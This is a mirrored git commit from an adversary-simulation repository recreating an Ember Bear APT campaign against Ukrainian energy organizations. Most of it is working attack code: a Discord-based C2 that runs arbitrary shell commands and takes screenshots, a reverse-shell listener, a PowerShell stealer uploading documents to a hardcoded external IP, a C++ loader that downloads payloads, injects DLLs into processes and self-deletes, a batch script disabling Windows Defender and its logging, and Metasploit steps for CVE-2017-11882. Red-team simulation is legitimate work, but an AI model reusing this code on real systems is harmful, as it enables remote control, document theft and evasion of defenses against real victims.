mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
S3N4T0R
@@ -0,0 +1,207 @@
|
||||
# This script integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Discord communication.
|
||||
|
||||
# This C2 is for simulation only and is still under development
|
||||
# pip install -r requirements.txt
|
||||
# python3 Discord-C2.py
|
||||
# Author: S3N4T0R
|
||||
# Date: 2024-7-2
|
||||
|
||||
# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
|
||||
|
||||
# This script checks if the Discord bot token and channel ID are provided. If they are, it starts the Discord bot functionalities; otherwise, it proceeds with just the IP and port. This way, the script can continue the connection without the Discord details if they are not entered.
|
||||
|
||||
# Importing necessary libraries
|
||||
import subprocess
|
||||
import time
|
||||
import socket
|
||||
import secrets
|
||||
import os
|
||||
import pyautogui
|
||||
from pyvirtualdisplay import Display
|
||||
import requests
|
||||
from Crypto.Cipher import ChaCha20
|
||||
import discord
|
||||
from discord.ext import commands
|
||||
|
||||
|
||||
ASCII_BANNER = '''\033[95m
|
||||
⣼⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣶⣦
|
||||
⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⠛⠩⡐⢄⠢⠙⢋⠍⣉⠛⡙⡀⢆⡈⠍⠛⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣿⠃⠌⡡⠐⢂⠡⠉⡄⠊⢄⢂⠡⠐⠂⢌⠘⡰⠘⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⠃⠌⠒⢠⠑⡨⠄⠃⠤⠉⢄⠢⠌⢡⠉⢄⢂⠡⠒⠸⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⡏⠤⢉⠰⢁⢢⣶⣾⣧⢂⠩⡀⠆⣼⣶⣮⣄⠂⡂⠍⣂⢹⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⠁⢆⠨⢐⠂⣿⣿⣿⣿⠇⢂⠱⢸⣿⣿⣿⡿⢀⠂⠅⢢⠘⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⠌⢠⠂⢡⠊⠌⠛⠟⡋⢌⠂⢅⢂⡙⠿⠛⣁⢂⠉⡄⠃⡌⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⡨⠄⡘⠄⠎⣔⣉⡐⠌⡐⣈⠂⠆⡐⢂⣡⣤⢂⠡⡐⢡⢐⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣶⣥⣘⡐⠨⣽⣿⣿⣷⣶⣾⣾⣿⣿⣯⢁⠢⣐⣤⣷⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿
|
||||
⠛⠿⢿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⢿⠿⠟⠋
|
||||
\033[0m'''
|
||||
|
||||
# Function to generate a random key for ChaCha20 encryption
|
||||
def generate_random_key(length):
|
||||
return secrets.token_bytes(length)
|
||||
|
||||
# Function to encrypt access token using ChaCha20
|
||||
def encrypt_access_token(token, key_length):
|
||||
key = generate_random_key(key_length)
|
||||
cipher = ChaCha20.new(key=key)
|
||||
encrypted_token = cipher.encrypt(token.encode())
|
||||
nonce = cipher.nonce
|
||||
return nonce + encrypted_token
|
||||
|
||||
# Function to start ngrok tunnel
|
||||
def start_ngrok(port):
|
||||
try:
|
||||
ngrok_process = subprocess.Popen(['ngrok', 'tcp', str(port)])
|
||||
time.sleep(3) # Give ngrok some time to start
|
||||
return ngrok_process
|
||||
except Exception as e:
|
||||
print(f"Error starting ngrok: {e}")
|
||||
return None
|
||||
|
||||
# Function to establish reverse shell connection
|
||||
def establish_reverse_shell(ip, port):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind((ip, int(port)))
|
||||
s.listen(1)
|
||||
print(f"[!] Waiting for incoming connection on {ip}:{port}...")
|
||||
client_socket, addr = s.accept()
|
||||
return client_socket, s
|
||||
except Exception as e:
|
||||
print(f"Error establishing reverse shell: {e}")
|
||||
return None, None
|
||||
|
||||
# Function to start display for screenshot functionality
|
||||
def start_display():
|
||||
try:
|
||||
display = Display(visible=0, size=(800, 600))
|
||||
display.start()
|
||||
return display
|
||||
except Exception as e:
|
||||
print(f"Error starting virtual display: {e}")
|
||||
return None
|
||||
|
||||
# Function to handle Discord bot functionalities
|
||||
def start_discord_bot(token, channel_id):
|
||||
try:
|
||||
bot = commands.Bot(command_prefix="!")
|
||||
|
||||
@bot.event
|
||||
async def on_ready():
|
||||
print("[*] Bot is ready and connected to Discord!")
|
||||
channel = bot.get_channel(int(channel_id))
|
||||
await channel.send("C2 Bot is now online.")
|
||||
|
||||
@bot.command()
|
||||
async def shell(ctx, *, command):
|
||||
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
||||
stdout = result.stdout
|
||||
stderr = result.stderr
|
||||
|
||||
if stdout:
|
||||
await ctx.send(f"Output:\n```{stdout}```")
|
||||
if stderr:
|
||||
await ctx.send(f"Error:\n```{stderr}```")
|
||||
|
||||
@bot.command()
|
||||
async def screen(ctx):
|
||||
try:
|
||||
screen = pyautogui.screenshot()
|
||||
screen.save("screenshot.png")
|
||||
await ctx.send(file=discord.File("screenshot.png"))
|
||||
os.remove("screenshot.png")
|
||||
except Exception as e:
|
||||
await ctx.send(f"Error capturing screenshot: {e}")
|
||||
|
||||
bot.run(token)
|
||||
except Exception as e:
|
||||
print(f"Error starting Discord bot: {e}")
|
||||
|
||||
# Main function to run the entire script
|
||||
def main():
|
||||
try:
|
||||
print(ASCII_BANNER)
|
||||
print("")
|
||||
|
||||
# Input values
|
||||
token = input("[+] Enter your Discord bot token (press Enter to skip): ").strip()
|
||||
channel_id = input("[+] Enter your Discord channel ID (press Enter to skip): ").strip()
|
||||
ip = input("[+] Enter the IP for the reverse shell: ").strip()
|
||||
port = input("[+] Enter the port number for the reverse shell and ngrok: ").strip()
|
||||
|
||||
# Validate port number
|
||||
if not port.isdigit():
|
||||
print("Invalid port number. Exiting.")
|
||||
return
|
||||
|
||||
port = int(port)
|
||||
|
||||
# Encrypt token if provided
|
||||
encrypted_token = None
|
||||
if token and channel_id:
|
||||
print("[*] Encrypting Discord token...")
|
||||
key_length = 32 # ChaCha20 key length in bytes
|
||||
encrypted_token = encrypt_access_token(token, key_length)
|
||||
if not encrypted_token:
|
||||
print("Error encrypting token. Exiting.")
|
||||
return
|
||||
|
||||
# Start ngrok tunnel
|
||||
print("[*] Starting ngrok tunnel...")
|
||||
ngrok_process = start_ngrok(port)
|
||||
if not ngrok_process:
|
||||
print("Error starting ngrok. Exiting.")
|
||||
return
|
||||
|
||||
# Start reverse shell
|
||||
client_socket, server_socket = establish_reverse_shell(ip, port)
|
||||
if not client_socket:
|
||||
print("Error establishing reverse shell. Exiting.")
|
||||
return
|
||||
|
||||
# Start display for screenshot functionality
|
||||
display = start_display()
|
||||
if not display:
|
||||
print("Error starting virtual display. Exiting.")
|
||||
return
|
||||
|
||||
# Start Discord bot if token and channel ID are provided
|
||||
if token and channel_id:
|
||||
print("[*] Starting Discord bot functionalities...")
|
||||
start_discord_bot(encrypted_token, channel_id)
|
||||
else:
|
||||
print("[*] Discord token or channel ID not provided. Running without Discord bot functionalities.")
|
||||
|
||||
# Receive and send commands
|
||||
while True:
|
||||
try:
|
||||
command = input("Enter a command to execute (or type 'exit' to quit): ").strip()
|
||||
if command.lower() == "exit":
|
||||
break
|
||||
client_socket.send(command.encode())
|
||||
response = client_socket.recv(1024).decode()
|
||||
print(response)
|
||||
except KeyboardInterrupt:
|
||||
break
|
||||
|
||||
# Clean up
|
||||
if client_socket:
|
||||
client_socket.close()
|
||||
if server_socket:
|
||||
server_socket.close()
|
||||
if ngrok_process:
|
||||
ngrok_process.kill()
|
||||
if display:
|
||||
display.stop()
|
||||
print("[*] Exiting.")
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error in main function: {e}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Binary file not shown.
@@ -0,0 +1,35 @@
|
||||
$url_dwn1 = "http://eumr.site/load74h74838.exe"
|
||||
$url = "http://185.244.41.109:8080/upld/"
|
||||
$dsks = Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3"
|
||||
$reme = 0
|
||||
|
||||
# Identify Home Drive and set $reme to its index
|
||||
$homeDrive = [System.Environment]::GetEnvironmentVariable("HOMEDRIVE")
|
||||
foreach ($dsk in $dsks) {
|
||||
if ($dsk.DeviceID -eq $homeDrive) {
|
||||
$reme = $dsk
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
# Get Serial Number of Home Drive
|
||||
$suuid = (Get-Volume -DriveLetter $reme.DeviceID[0]).ObjectId.Guid
|
||||
|
||||
# Define file types to search for
|
||||
$fileTypes = @("*.doc", "*.docx", "*.pdf", "*.ppt", "*.pptx", "*.dot", "*.xls", "*.xlsx", "*.csv", "*.rtf", "*.mdb", "*.accdb", "*.pot", "*.pps", "*.pst", "*.ppa", "*.rar", "*.zip", "*.tar", "*.7z", "*.txt")
|
||||
|
||||
# Search and Upload Files
|
||||
foreach ($dsk in $dsks) {
|
||||
$driveLetter = $dsk.DeviceID
|
||||
foreach ($fileType in $fileTypes) {
|
||||
$files = Get-ChildItem -Path "$driveLetter\" -Recurse -Filter $fileType -ErrorAction SilentlyContinue
|
||||
foreach ($file in $files) {
|
||||
$fileName = $file.FullName
|
||||
$fileNameHex = [BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($fileName)) -replace '-', ''
|
||||
$uri = "$url$suuid"
|
||||
$content = [IO.File]::ReadAllBytes($file.FullName)
|
||||
Invoke-RestMethod -Uri $uri -Method Post -InFile $fileName -Headers @{"File-Name" = $fileNameHex}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
# Ember Bear APT Adversary Simulation
|
||||
|
||||
This is a simulation of attack by (Ember Bear) APT group targeting energy Organizations in Ukraine the attack campaign was active on April 2021, The attack chain starts wit spear phishing email sent to an employee of the organization, which used a social engineering theme that suggested the individual had committed a crime. The email had a Word document attached that contained a malicious JavaScript file that would download and install a payload known as SaintBot (a downloader) and OutSteel (a document stealer).
|
||||
The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and uploads the files to a remote server. The use of OutSteel may suggest that this threat group’s primary goals involve data collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the actors persistent access to the system while granting the ability to further their capabilities. I relied on palo alto to figure out the details to make this simulation: https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/
|
||||
|
||||
|
||||
|
||||
This attack included several stages including links to Zip archives that contain malicious shortcuts (LNK) within the spear phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system. With the exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code from remote servers.
|
||||
|
||||
1. Create the Word Document: Write a Word document (.docx) containing the exploitation of CVE-2017-11882 to install payloads onto the system.
|
||||
|
||||
2. CVE-2017-11882: this exploit allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory.
|
||||
|
||||
3. Data exfiltration: over Discord API C2 Channe, This integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate Discord communication.
|
||||
|
||||
4. SaintBot: is a payload loader, It contains capabilities to download further payloads as requested by attackers.
|
||||
|
||||
5. The attackers used .BAT file to disable Windows Defender functionality, It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks.
|
||||
|
||||
6. OutSteel: is a file uploader and document stealer developed with the scripting language.
|
||||
|
||||
|
||||
Some examples of the PDF and docx files that was used in this attack.
|
||||
|
||||
|
||||
|
||||
|
||||
## The first stage (delivery technique)
|
||||
|
||||
In the beginning, I will create a Word file that I will use to injections for a vulnerability that attackers used in the actual attack to install payloads on the system.
|
||||
|
||||
April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations.
|
||||
|
||||
|
||||
|
||||
|
||||
## The second stage (exploit Microsoft Office Memory Corruption Vulnerability CVE-2017-11882)
|
||||
|
||||
Second the attackers exploited the Zero-day vulnerability (CVE-2017-11882) is a vulnerability in Microsoft Office, specifically affecting Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016. This vulnerability is classified as a memory corruption issue that occurs due to improper handling of objects in memory.
|
||||
|
||||
Exploitation repository: https://github.com/0x09AL/CVE-2017-11882-metasploit?tab=readme-ov-file
|
||||
|
||||
This vulnerability allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory, I then placed a Word file in the
|
||||
phishing email, including links to Zip files containing malicious shortcuts (LNK).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
`sudo cp cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat`
|
||||
|
||||
`sudo updatedb`
|
||||
|
||||
`msf6 > use exploit/windows/fileformat/office_ms17_11882`
|
||||
|
||||
|
||||
## The third stage (Data Exfiltration) over Discord API C2 Channe
|
||||
|
||||
The attackers used the Discord C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server. By using Discord as a C2 server, attackers can hide their malicious activities among the legitimate traffic to Discord, making it harder for security teams to detect the threat.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
First, i need to create a Discord account and activate its permissions, as shown in the following figure.
|
||||
|
||||
|
||||
1. Create Discord Application.
|
||||
|
||||
<img width="1679" alt="image-20231221113019757" src="https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/2ac6a61e-719d-49eb-a610-f75808dd5e1a">
|
||||
|
||||
2. Configure Discord Application.
|
||||
|
||||
|
||||
<img width="1679" alt="image-20231221113340790" src="https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/f88c0cc8-1abd-462e-bdff-0adadc85914a">
|
||||
|
||||
|
||||
3. Go to "Bot", find "Privileged Gateway Intents", turn on all three "Intents", and save.
|
||||
|
||||
|
||||
<img width="1679" alt="image-20231221113617087" src="https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/cbb3858f-f51c-454f-8458-6478a56b92c6">
|
||||
|
||||
|
||||
|
||||
|
||||
This script integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Discord communication and checks if the Discord bot token and channel ID are provided. If they are, it starts the Discord bot functionalities; otherwise, it proceeds with just the IP and port. This way, the script can continue the connection without the Discord details if they are not entered.
|
||||
|
||||
|
||||
|
||||
## The fourth stage (SaintBot payload Loader)
|
||||
|
||||
SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to download further payloads as requested by threat actors, executing the payloads through several different means, such as injecting into a spawned process or loading into local memory. It can also update itself on disk – and remove any traces of its existence – as and when needed. SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
|
||||
|
||||
1.Locale Check: The IsSupportedLocale function checks if the system's locale matches specific locales.
|
||||
|
||||
2.Downloading Payload: The DownloadPayload function downloads a file from a specified URL and saves it to a specified filepath.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3.Injecting into a Process: The InjectIntoProcess function injects a DLL into a running process by its name.
|
||||
|
||||
4.Self-Deleting: The SelfDelete function deletes the executable after its execution.
|
||||
|
||||
|
||||
|
||||
|
||||
## The fifth stage (disable windows defender)
|
||||
|
||||
This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## The sixth stage (OutSteel stealer)
|
||||
|
||||
OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the other binaries. It begins by scanning through the local disk in search of files containing specific extensions, before uploading those files to a hardcoded command and control (C2) server. I simulated this Infostealer but through PowerShell Script.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
// SaintBot payload Loader includes the following components:
|
||||
|
||||
// 1.Locale Check: The IsSupportedLocale function checks if the system's locale matches specific locales.
|
||||
// 2.Downloading Payload: The DownloadPayload function downloads a file from a specified URL and saves it to a specified filepath.
|
||||
// 3.Injecting into a Process: The InjectIntoProcess function injects a DLL into a running process by its name.
|
||||
// 4.Self-Deleting: The SelfDelete function deletes the executable after its execution.
|
||||
|
||||
// Author: S3N4T0R
|
||||
// Date: 2024-7-4
|
||||
|
||||
// manual compile: x86_64-w64-mingw32-g++ -o SaintBot.exe SaintBot.cpp -lwininet
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <string>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
typedef NTSTATUS(WINAPI *pNtQueryDefaultLocale)(BOOLEAN, PLCID);
|
||||
|
||||
BOOL IsSupportedLocale()
|
||||
{
|
||||
HMODULE hNtdll = LoadLibrary("ntdll.dll");
|
||||
if (!hNtdll) return FALSE;
|
||||
|
||||
pNtQueryDefaultLocale NtQueryDefaultLocale = (pNtQueryDefaultLocale)GetProcAddress(hNtdll, "NtQueryDefaultLocale");
|
||||
if (!NtQueryDefaultLocale) {
|
||||
FreeLibrary(hNtdll);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LCID DefaultLocaleId = 0;
|
||||
if (NtQueryDefaultLocale(FALSE, &DefaultLocaleId) >= 0)
|
||||
{
|
||||
FreeLibrary(hNtdll);
|
||||
return (DefaultLocaleId == 0x419 || // Russian (Russia)
|
||||
DefaultLocaleId == 0x422 || // Ukrainian (Ukraine)
|
||||
DefaultLocaleId == 0x423 || // Belarusian (Belarus)
|
||||
DefaultLocaleId == 0x42B || // Armenian (Armenia)
|
||||
DefaultLocaleId == 0x43F || // Kazakh (Kazakhstan)
|
||||
DefaultLocaleId == 0x818 || // Romanian (Moldova)
|
||||
DefaultLocaleId == 0x819); // Russian (Moldova)
|
||||
}
|
||||
FreeLibrary(hNtdll);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL DownloadPayload(const char* url, const char* filepath)
|
||||
{
|
||||
HINTERNET hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (hInternet == NULL) return FALSE;
|
||||
|
||||
HINTERNET hConnect = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||
if (hConnect == NULL)
|
||||
{
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BYTE buffer[4096];
|
||||
DWORD bytesRead;
|
||||
HANDLE hFile = CreateFile(filepath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead)
|
||||
{
|
||||
DWORD bytesWritten;
|
||||
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL InjectIntoProcess(const char* processName, const char* dllPath)
|
||||
{
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
pe.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (!Process32First(hSnapshot, &pe))
|
||||
{
|
||||
CloseHandle(hSnapshot);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD processId = 0;
|
||||
do
|
||||
{
|
||||
if (!_stricmp(pe.szExeFile, processName))
|
||||
{
|
||||
processId = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnapshot, &pe));
|
||||
|
||||
CloseHandle(hSnapshot);
|
||||
|
||||
if (processId == 0) return FALSE;
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
|
||||
if (hProcess == NULL) return FALSE;
|
||||
|
||||
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (pRemoteMemory == NULL)
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL);
|
||||
if (hThread == NULL)
|
||||
{
|
||||
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void SelfDelete()
|
||||
{
|
||||
TCHAR szFileName[MAX_PATH];
|
||||
TCHAR szCmd[MAX_PATH];
|
||||
|
||||
if (GetModuleFileName(NULL, szFileName, MAX_PATH))
|
||||
{
|
||||
sprintf_s(szCmd, "cmd.exe /c del \"%s\" & exit", szFileName);
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!IsSupportedLocale()) return 0;
|
||||
|
||||
const char* url = "http://malicious.com/payload.exe";
|
||||
const char* filepath = "C:\\Windows\\Temp\\payload.exe";
|
||||
|
||||
if (DownloadPayload(url, filepath))
|
||||
{
|
||||
// Execute the payload by injection
|
||||
InjectIntoProcess("notepad.exe", filepath);
|
||||
|
||||
// Update the executable if needed
|
||||
DownloadPayload("http://malicious.com/update.exe", filepath);
|
||||
|
||||
// Remove traces
|
||||
SelfDelete();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
pyautogui==0.9.53
|
||||
pyvirtualdisplay==3.0
|
||||
requests==2.31.0
|
||||
pycryptodome==3.17
|
||||
discord.py==2.0.1
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
@echo off
|
||||
rem Disable Real-time protection
|
||||
|
||||
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
|
||||
|
||||
rem Disable Logging
|
||||
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
|
||||
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
|
||||
|
||||
rem Disable WD Tasks
|
||||
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
|
||||
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
|
||||
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
|
||||
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
|
||||
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
|
||||
|
||||
echo Windows Defender real-time protection has been disabled.
|
||||
pause
|
||||
|
||||
Reference in New Issue
Block a user